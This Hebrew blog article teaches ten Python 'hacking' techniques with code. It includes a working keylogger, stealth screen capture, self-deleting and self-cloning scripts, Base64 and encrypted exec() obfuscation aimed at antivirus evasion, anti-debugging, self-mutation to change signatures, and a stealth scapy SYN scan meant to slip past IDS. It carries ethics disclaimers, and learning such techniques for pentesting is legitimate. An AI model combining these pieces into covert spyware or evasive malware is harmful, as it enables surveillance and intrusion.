🕵️‍♂️🔐 10 סקריפטים האקינג בפייתון

מאת: נטליה קאידה

🕵️‍♂️🔐 10 סקריפטים האקינג בפייתון
רוצים לדעת איך סקריפט פייתון יכול לעבור מוטציה תוך כדי תנועה, לתעד הקשות מקשים, לצלם מסך בחשאי, לעקוף מערכות ניטור ולהתבצע ישירות מהזיכרון הפנימי (RAM)? ברוכים הבאים לעולם המחתרתי של טכניקות האקינג, שבו היצירתיות אינה יודעת גבולות (מלבד החוקיים)!
לדיון

0
🕵️‍♂️🔐 10 סקריפטים האקינג בפייתון
המאמר מבוסס על הפרסום "Python’s 10 Insane Underground Scripts You Didn’t Know Exist".
במאמר זה נבחן סט של טכניקות מתקדמות שבאמצעותן ניתן:

• להשמיד קוד מקור לאחר ביצוע.
• לאסוף מידע בחשאי.
• לעקוף אנטי-וירוסים ומערכות ניטור.
• להריץ קוד ללא השארת עקבות במערכת הקבצים.
• ואפילו להתגונן מפני הנדסה הפוכה (reverse-engineering).
  לכל אחד מהסקריפטים הללו יש שימושים אתיים וגם פוטנציאל מסוכן, ולכן חשוב להדגיש: כל השיטות המתוארות צריכות לשמש אך ורק למטרות חוקיות, תוך הבנת הנורמות האתיות והמגבלות המשפטיות.

סקריפטים בפייתון שמשמידים את עצמם
סקריפטים כאלה שימושיים במקרים שבהם אסור להשאיר את קוד המקור לאחר הביצוע — לדוגמה, במשימות הקשורות לאבטחה, סודיות או בדיקות חדירות (pentesting).

🔧 איך עובדים סקריפטים שמשמידים את עצמם:

1. זיהוי הקובץ העצמי. הסקריפט מוצא את הנתיב לקובץ של עצמו באמצעות המשתנים __file__ או sys.argv[0].
2. מחיקה עצמית. לאחר ביצוע המשימה העיקרית, הסקריפט קורא לפונקציה os.remove() כדי למחוק את עצמו מהדיסק.

import os
import sys

def main():
    print("סקריפט זה ישמיד את עצמו לאחר הביצוע.")
    # כאן יכול להיות הקוד הראשי...

    # השמדה עצמית: מחק את הקובץ הנוכחי
    try:
        os.remove(__file__)
        print("ההשמדה העצמית עברה בהצלחה. להתראות!")
    except Exception as e:
        print("שגיאה במהלך ההשמדה העצמית:", e)

if __name__ == '__main__':
    main()

⚠️ לאחר שהסקריפט ימחק את עצמו, לא ניתן יהיה לשחזר אותו ללא גיבוי.

לכידת מסך חשאית
עבור בודקי חדירות (pentesters) חשוב לפעול בחשאיות. אחד הכלים השימושיים ביותר של האקר אתי הוא צילום מסך חשאי, המאפשר להשיג הוכחות לפגיעויות מבלי למשוך את תשומת לבו של המשתמש.

🔧 איך עובדת לכידת מסך חשאית:

1. יצירת צילום מסך מלא. באמצעות ספריות כמו pyautogui ו-PIL (Pillow) ניתן לצלם את כל המסך.
2. צילום אזור מסוים. ניתן לציין אזור ספציפי במסך (למשל, חלון או חלק מהמסך) שיש לתעד.
3. דרכים להסתרת הפעילות. כדי שהמשתמש לא יבחין בתהליך הצילום, משתמשים בהשהיות והסוואת פעולת הסקריפט.

import pyautogui
import cv2
import numpy as np

def capture_screen(region=None):
    # צלם צילום מסך (אם לא צוין אזור – זה יהיה כל המסך)
    screenshot = pyautogui.screenshot(region=region)
    # המר את צילום המסך למערך numpy
    frame = np.array(screenshot)
    # המר את התמונה מ-RGB (PIL) ל-BGR (OpenCV)
    frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
    return frame

if __name__ == '__main__':
    # לכידת אזור של 300x400 פיקסלים מהפינה השמאלית העליונה
    frame = capture_screen(region=(0, 0, 300, 400))
    cv2.imshow("Stealth Capture", frame)
    cv2.waitKey(3000)  # הצג חלון למשך 3 שניות
    cv2.destroyAllWindows()

⚠️ נדגיש כי לכידת מסך כזו אינה משמשת בהכרח למטרות זדוניות — היא שימושית בבדיקות חדירות חוקיות, כאשר יש צורך לתעד כיצד נראית פגיעות. במקרה זה, יש לקבל אישור רשמי לשימוש בלכידת מסך — אחרת, בעלי המשאב עלולים לראות בכך הפרה של החוק.

📚 מידע נוסף:

• מדריך ללכידת מסך ב-ThePythonCode.com
• תיעוד PyAutoGUI

התחמקות מאנטי-וירוסים באמצעות עִרְפּוּל (Obfuscation)
תוכנות אנטי-וירוס משתמשות לעיתים קרובות בניתוח חתימות, כלומר הן מחפשות תבניות קוד אופייניות כדי לזהות איום. אם הקוד צפוי, קל לגלות אותו. עִרְפּוּל עוזר להסתיר תבניות אלו, מה שמאפשר לעקוף בדיקות אנטי-וירוס פשוטות.

🔧 טכניקות עִרְפּוּל עיקריות:

1. קידוד מחרוזות. במקום לאחסן מחרוזות בצורה גלויה, ניתן לקודד אותן באמצעות Base64, ROT13, או שיטה משלכם.
2. יצירת קוד בזמן ריצה. במקום לכתוב לוגיקה חשובה ישירות, ניתן לשמור אותה כטקסט ולהריץ אותה ברגע הנכון באמצעות הפונקציה exec().

import base64

# קוד סודי כמחרוזת
secret_code = "print('שלום מהצד האפל!')"

# קודד את הקוד ב-Base64
encoded_code = base64.b64encode(secret_code.encode()).decode()

# פענח והרץ בזמן ריצה
exec(base64.b64decode(encoded_code).decode())

⚠️ חשוב:

• עִרְפּוּל עוזר לעקוף מסנני אנטי-וירוס פשוטים, במיוחד אלה המתמקדים בחתימות, אך אינו מגן מפני ניתוח מתקדם.
• בסביבה מקצועית, טכניקות כאלה משמשות בבדיקות חדירות וניתוח תוכנות זדוניות.

📚 חומרים מומלצים:

• טכניקות עִרְפּוּל ב-GitHub
• מדריך מפורט לעִרְפּוּל קוד פייתון

קיילוגרים (Keyloggers) חבויים
קיילוגר הוא תוכנה שעוקבת ומתעדת הקשות מקשים. למטרות חוקיות, קיילוגרים משמשים בבדיקות חדירות — כמובן, רק באישור רשמי.

🔧 איך עובד קיילוגר:

1. מעקב אחר מקשים. באמצעות ספריית keyboard ניתן ללכוד כל הקשת מקש במערכת.
2. שמירה או שליחת נתונים. מידע על המקשים שנלכדו ניתן לשמור בקובץ טקסט ו/או לשלוח דרך הרשת.

import keyboard
import time

log_file = "keylog.txt"

def on_key_event(event):
    with open(log_file, "a") as f:
        f.write(event.name + " ")

if __name__ == '__main__':
    print("קיילוגר הופעל. לחץ על ESC לעצירה.")
    keyboard.on_press(on_key_event)
    keyboard.wait("esc")

⚠️ חשוב:

• שימוש אתי – חובה. לעולם אל תריצו קיילוגרים על מחשב של מישהו אחר ללא רשות — זה לא חוקי ועלול להוביל לתוצאות חמורות.
• בבדיקות מבוקרות, יעילות זיהוי הקיילוגרים משתנה מאוד. לפי InfoSec Write-ups, בעת שימוש בעִרְפּוּל, ההסתברות לזיהוי קיילוגר על ידי אנטי-וירוסים יורדת ל-40%.

מאמר בנושא:
🕵 כותבים קיילוגר בפייתון עבור Windows ב-5 דקות

קוד שמשכפל את עצמו ומשחזר את עצמו
סקריפט שמשחזר את עצמו (או משכפל את עצמו) יוצר עותק של עצמו ומפעיל אותו. זוהי טכניקה מעניינת, שבנוסף לביצוע מטרתה העיקרית, עוזרת להבין טוב יותר:

• איך פייתון עובד עם הקוד של עצמו (אינטרוספקציה).
• איך לנהל תהליכים.
• איך להשתמש בקלט/פלט של קבצים.
  למטרות אתיות, גישה כזו יכולה לשמש, למשל, לגיבוי, הפעלה מחדש, הדמיית שרידות תהליך וכו'.

🔧 איך עובד שכפול עצמי:

1. חילוץ קוד המקור. באמצעות הפונקציה inspect.getsource() הסקריפט יכול לקבל את הקוד של עצמו כטקסט.
2. יצירת עותק של הקובץ. הקוד המתקבל נכתב לקובץ .py חדש (למשל, clone_script.py).
3. הפעלת השכפול. הקובץ החדש מופעל דרך subprocess.Popen(), יוצר תהליך חדש, והמקור יכול, למשל, להשמיד את עצמו.

import sys
import inspect
import os
import subprocess
import shlex

def clone_and_run():
    # קבל את קוד המקור של הפונקציה הנוכחית (כל הסקריפט)
    code = inspect.getsource(inspect.currentframe())
    # שם השכפול
    clone_filename = "clone_script.py"

    # כתוב את הקוד לקובץ חדש
    with open(clone_filename, "w") as f:
        f.write(code)

    # הפעל את השכפול
    cmd = f"python {clone_filename} 1" # ה-'1' יכול להיות ארגומנט למניעת רקורסיה אינסופית אם לא מטופל
    subprocess.Popen(shlex.split(cmd), start_new_session=True)

    print("השכפול הופעל. המקור משמיד את עצמו...")
    os.remove(__file__)  # מחק את המקור

if __name__ == '__main__':
    # בדיקה פשוטה למנוע מהשכפול לשכפל את עצמו מיד באופן אינסופי
    # בתרחיש אמיתי, תרצה לוגיקה חזקה יותר או טריגר ספציפי.
    if len(sys.argv) < 2: # הרץ את clone_and_run רק אם לא הועבר ארגומנט (כלומר, זה המקור)
        clone_and_run()
    else:
        print("השכפול רץ. המקור אמור להיעלם.")
        # לוגיקת השכפול עצמו תהיה כאן

⚠️ טכניקות כאלה משמשות בתוכנות זדוניות (ולכן חשוב שמומחי אבטחת מידע יבינו איך הן עובדות).

הרצת קוד בזיכרון ה-RAM
הרצת קוד רק בזיכרון ה-RAM, ללא כתיבה לדיסק, מאפשרת למזער עקבות במערכת הקבצים. זה שימושי במיוחד במצבים שבהם יש צורך להסתיר את הנוכחות במערכת — לדוגמה, במהלך בדיקות חדירות.

🔧 איך זה עובד:

1. קומפילציית קוד ממחרוזת. באמצעות הפונקציה compile() ניתן להמיר מחרוזת עם קוד פייתון לאובייקט קוד בר-ביצוע.
2. ביצוע ישירות מהזיכרון. אובייקט הקוד המתקבל מועבר ל-exec(), ומתבצע ללא כתיבה לדיסק.
   ניתן לטעון ולהריץ קטעי קוד ממשאבי רשת, קבצים מוצפנים או מסדי נתונים.

code_string = """
def greet():
    print('שלום! קוד זה מתבצע ישירות מהזיכרון.')

greet()
"""

compiled_code = compile(code_string, '<string>', 'exec')
exec(compiled_code)

⚠️ תוכנות זדוניות משתמשות בשיטות כאלה כדי לעקוף אנטי-וירוסים.

👾 ספריית ההאקר
חומרים שימושיים נוספים תמצאו בערוץ הטלגרם שלנו "ספריית ההאקר".

פענוח קוד בזמן ריצה
הצפנה מיושמת לא רק על נתונים המועברים ברשת, אלא גם על חלקי קוד, שניתן לשמור בצורה מוצפנת ולפענח רק בזמן ריצת התוכנית. זה עוזר להסתיר לוגיקה ולהגן על קניין רוחני.

🔧 איך שיטה זו עובדת:

1. הצפנת קוד. משתמשים, למשל, בספריית cryptography.fernet, כדי להצפין מחרוזת עם קוד.
2. פענוח וביצוע בזמן ריצה. ברגע הנכון, התוכנית מפענחת את הקוד ומריצה אותו באמצעות הפונקציה exec().

from cryptography.fernet import Fernet

# יצירת מפתח (בתנאים אמיתיים יש לאחסן אותו בבטחה!)
key = Fernet.generate_key()
cipher_suite = Fernet(key)

# קוד סודי שאנו רוצים להסתיר
secret_code = "print('הקוד הסודי הזה הוצפן!')"

# הצפן את מחרוזת הקוד
encrypted_code = cipher_suite.encrypt(secret_code.encode())

# בזמן ריצה: פענח והרץ
decrypted_code = cipher_suite.decrypt(encrypted_code).decode()
exec(decrypted_code)

ℹ️ בשימוש חוקי, שיטה זו תעזור ל:

• הגן על קניין רוחני (למשל, לוגיקה עסקית חשובה).
• הסתר נתונים סודיים (בזמן עבודה עם רישיונות או מפתחות API).
• הקשה על עבודתם של מנתחי קוד והנדסה הפוכה.

📚 למידע נוסף על השיטה ניתן לעיין בתיעוד של ספריית Cryptography.

אנטי-דיבאגינג (Anti-debugging)
כדי להגן על סקריפט מניתוח או הנדסה הפוכה, ניתן לממש מנגנון אנטי-דיבאגינג — זוהי שיטה המאפשרת לזהות נוכחות של דיבאגר (debugger) ולהגיב לכך (למשל, לשנות את לוגיקת ההתנהגות של הסקריפט או לסיים את ביצועו).

🔧 איך עובד אנטי-דיבאגינג:

1. בדיקת סביבה. הסקריפט יכול לחפש סימני דיבאגינג, למשל, פעילות של sys.gettrace().
2. שינוי התנהגות. אם זוהה דיבאגינג, התוכנית יכולה לסיים את ביצועה, להוסיף השהיה, או לשנות את לוגיקת העבודה כדי לבלבל את המנתח.

import sys
import time

def anti_debug():
    # בדיקה: אם יש דיבאגר, gettrace() יחזיר ערך שאינו None
    if sys.gettrace() is not None:
        print("זוהה דיבאגר! מסיים פעולה להגנה.")
        time.sleep(2)
        sys.exit()  # יציאה מהתוכנית

if __name__ == '__main__':
    anti_debug()
    print("לא זוהה דיבאגר. ממשיך בביצוע...")

⚠️ חשוב:

• יש להשתמש בשיטות כאלה באופן אתי ורק בתנאים מבוקרים, למשל:
  • ביישומים מסחריים להגנה על רישיונות.
  • במערכות שבהן חשוב למנוע התערבות בלוגיקה.

סריקת רשת חשאית
בודקי חדירות צריכים לעיתים קרובות לסרוק רשת בחשאיות, כדי לא למשוך את תשומת לבן של מערכות זיהוי פריצות. למטרות אלו ניתן לכתוב סורק חשאי משלכם בפייתון, שידמה התנהגות של משתמשים רגילים ולא יעורר חשד.

🔧 איך עובדת סריקה חשאית:

1. יצירת חבילות "לגיטימיות". באמצעות ספריית scapy ניתן ליצור חבילות רשת שנראות כמו תעבורה רגילה. לדוגמה, חבילות SYN, כמו בחיבור סטנדרטי לשרת.
2. השהיה אקראית. הוספת הפסקות אקראיות בין הבקשות הופכת את ההתנהגות לדומה לפעולות אדם, ולא מכונה. זה עוזר לעקוף מערכות זיהוי אוטומטיות.

from scapy.all import IP, TCP, sr1
import random
import time

def stealth_port_scan(target_ip, port):
    # צור חבילת SYN (כאילו רוצים ליצור חיבור TCP)
    packet = IP(dst=target_ip)/TCP(dport=port, flags="S")

    # שלח את החבילה והמתן לתשובה
    response = sr1(packet, timeout=1, verbose=0)

    # בדוק: אם דגל התשובה הוא SYN-ACK (0x12), אז הפורט פתוח
    if response and response.haslayer(TCP) and response[TCP].flags == 0x12:
        print(f"פורט {port} ב-{target_ip} — פתוח.")
    else:
        print(f"פורט {port} ב-{target_ip} — סגור או מסונן.")

if __name__ == '__main__':
    target = "192.168.1.1" # החלף במטרה שאתה מורשה לסרוק
    # בדוק 5 פורטים אקראיים מ-20 עד 1024
    for port in random.sample(range(20, 1024), 5):
        stealth_port_scan(target, port)
        time.sleep(random.uniform(0.5, 2))  # הפסקה אקראית בין סריקות

ℹ️ סריקה חשאית משמשת ל:

• בדיקת אבטחת רשת דיסקרטית.
• עקיפת מערכות IDS/IPS שעוקבות אחר פעילות חשודה.
• איסוף מידע ללא סיכון לחסימה.

⚠️ חשוב להשתמש בסורקים כאלה רק למטרות חוקיות, למשל, במסגרת בדיקות חדירות באישור בעל הרשת.

🐍 ספריית הפייתוניסט
חומרים שימושיים נוספים תמצאו בערוץ הטלגרם שלנו "ספריית הפייתוניסט".

מוטציה אוטומטית
כדי לעקוף מערכות זיהוי המבוססות על חתימות (אנטי-וירוסים או מערכות ניטור קוד), ניתן לכתוב סקריפט שישנה את עצמו לפני כל הרצה. טכניקה זו נקראת מוטציה — היא הופכת את הסקריפט למטרה נעה, קשה לזיהוי וניתוח.

🔧 איך עובדת מוטציה:

1. שינוי קוד המקור. הסקריפט קורא את הקוד של עצמו, מבצע שינויים אקראיים קלים (למשל, משנה הערות או שמות משתנים), ואז שומר את עצמו בחזרה.
2. שינוי טביעת האצבע הדיגיטלית. שינויים קלים אלה אינם משפיעים על לוגיקת התוכנית, אך משנים את חתימת הקובץ (את "טביעת האצבע" שלו), מה שמקשה על זיהויו לפי תבנית.

import os
import random
import inspect # נחוץ כדי לקבל את נתיב הקובץ הנוכחי באופן אמין

def mutate_script(filename):
    with open(filename, 'r') as file:
        lines = file.readlines()

    # שנה באופן אקראי שורות עם הערות
    for i, line in enumerate(lines):
        if line.strip().startswith("#") and random.choice([True, False]):
            lines[i] = f"# Mutation {random.randint(1, 1000)}: {line.lstrip('# ')}\n" # שמור על טקסט ההערה המקורי, הוסף ירידת שורה

    with open(filename, 'w') as file:
        file.writelines(lines)
    print("הסקריפט עבר מוטציה בהצלחה.")

if __name__ == '__main__':
    # שימוש ב-inspect אמין יותר למציאת נתיב הסקריפט עצמו
    current_file = inspect.getframeinfo(inspect.currentframe()).filename
    mutate_script(current_file)
    # הסקריפט ממשיך לרוץ לאחר מוטציה בדוגמה זו
    print("הסקריפט שעבר מוטציה מריץ כעת את הלוגיקה המקורית שלו.")

ℹ️ סקריפטים-מוטנטים יועילו ל:

• הימנעות מניתוח סטטי — מוטציה עוזרת לעקוף מערכות שמחפשות תבניות ידועות של קוד זדוני.
• הגנה דינמית — הקוד ייראה שונה בכל הרצה, וזה יעזור להתמודד עם ניסיונות ניתוח ידני.
• בדיקות חדירות — ניתן להשתמש כדי לבדוק כיצד מערכת מגיבה לקוד משתנה.

⚠️ חשוב:

• סקריפטים-מוטנטים משמשים לעיתים קרובות בתוכנות זדוניות, אך ניתן להשתמש בהם גם באופן אתי, למשל:
  • בעת בדיקת אנטי-וירוסים או IDS.
  • להגנה על קניין רוחני.
  • ליצירת סקריפטים שמתקנים את עצמם בסביבות בדיקה.

לסיכום
ניסויים עם סקריפטים האקינג יעזרו לשפר מיומנויות תכנות והבנה של השיטות בהן משתמשים בודקי חדירות מנוסים ומומחי אבטחה. חשוב לזכור שניתן ליישם טכניקות כאלה רק במכונות וירטואליות או בסביבה מבוקרת ועם אישור מתאים ממנהל המערכת.